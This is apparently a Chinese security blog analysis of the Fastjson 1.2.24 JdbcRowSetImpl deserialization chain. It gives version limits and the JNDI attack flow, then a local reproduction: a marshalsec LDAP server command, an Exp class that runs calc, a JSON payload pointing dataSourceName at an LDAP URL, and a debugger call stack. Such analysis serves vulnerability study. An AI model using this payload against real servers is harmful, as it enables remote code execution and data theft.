Fastjson-JdbcRowSetImpl利用链分析
JdbcRowSetImpl这条链的实际运用中较为广泛,这个链基本没有限制条件,只需要Json.parse(input)即可进入命令执行
漏洞描述
漏洞是利用fastjson autotype在处理json对象的时候,未对@type字段进行完全的安全性验证,攻击者可以传入危险类,并调用危险类连接远程rmi主机,通过其中的恶意类执行代码。攻击者通过这种方式可以实现远程代码执行漏洞的利用,获取服务器的敏感信息泄露,甚至可以利用此漏洞进一步对服务器数据进行修改,增加,删除等操作,对服务器造成巨大的影响
利用限制
影响版本:fastjson <= 1.2.24
基于JNDI+RMI或者是JNDI+LDAP进行攻击,对JDK版本限制
RMI利用的JDK版本<=6u132、7u122、8u113
LDAP利用JDK版本<=6u211、7u201、8u191
攻击流程
- lookup(URL)可控
- 控制URL参数指定一个RMI服务
- RMI服务向目标返回一个Reference对象,Reference对象指定某个精心构造的Factory类
- 目标在进行
lookup()
操作时,会动态加载并实例化Factory类,接着调用factory.getObjectInstance()获取外部远程对象实例
- 攻击者可以在Factory类文件的静态代码块写入恶意代码,造成RCE
复现操作
首先我们利用marshalsec启动一个LDAP Server
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http:
|
Exp
public class Exp { static { try { Runtime.getRuntime().exec(new String[]{"cmd","/c","calc"}); } catch (IOException e){ e.printStackTrace(); } }
public static void main(String[] args) { } }
|
使用python挂到网页上
pom.xml
<dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.24</version> </dependency>
|
对恶意payload,字符串转换对象触发RCE
package com.test;
import com.alibaba.fastjson.JSON;
public class POC { public static void main(String[] args) {
String PoC = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"ldap://127.0.0.1:1389/Exploit\", \"autoCommit\":true}"; JSON.parse(PoC); } }
|
调试分析
对JSON.parse进行断点
我们直接走到deserialze方法上进行反序列化,前面的步骤与我们Fastjson反序列化那篇文章大致是一样的
接下来会对JdbcRowSetImpl进行初始化
在JdbcRowSetImpl构造方法上进行断点,直接跳到这里
parseObject还会去调用set方法,所以我们断点到setDataSourceName、setAutoCommit方法上
调用父类的setDataSourceName
步入setDataSourceName,赋值了dataSource为我们的ldap恶意地址
实现的JdbcRowSetImpl的setDataSourceName方法并且值是ldap恶意地址,接着我们走到setAutoCommit方法下
走进connect方法
InitialContext调用到lookup方法,我们看看传的值
跟进this.getDataSourceName(),可以看到是我们前面传的getDataSourceName的值
成功远程加载命令执行
调用栈
connect:634, JdbcRowSetImpl (com.sun.rowset) setAutoCommit:4067, JdbcRowSetImpl (com.sun.rowset) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:498, Method (java.lang.reflect) setValue:96, FieldDeserializer (com.alibaba.fastjson.parser.deserializer) parseField:83, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer) parseField:773, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) deserialze:600, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) parseRest:922, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) deserialze:-1, FastjsonASMDeserializer_1_JdbcRowSetImpl (com.alibaba.fastjson.parser.deserializer) deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser) parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser) parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser) parse:137, JSON (com.alibaba.fastjson) parse:128, JSON (com.alibaba.fastjson) main:10, POC (com.test)
|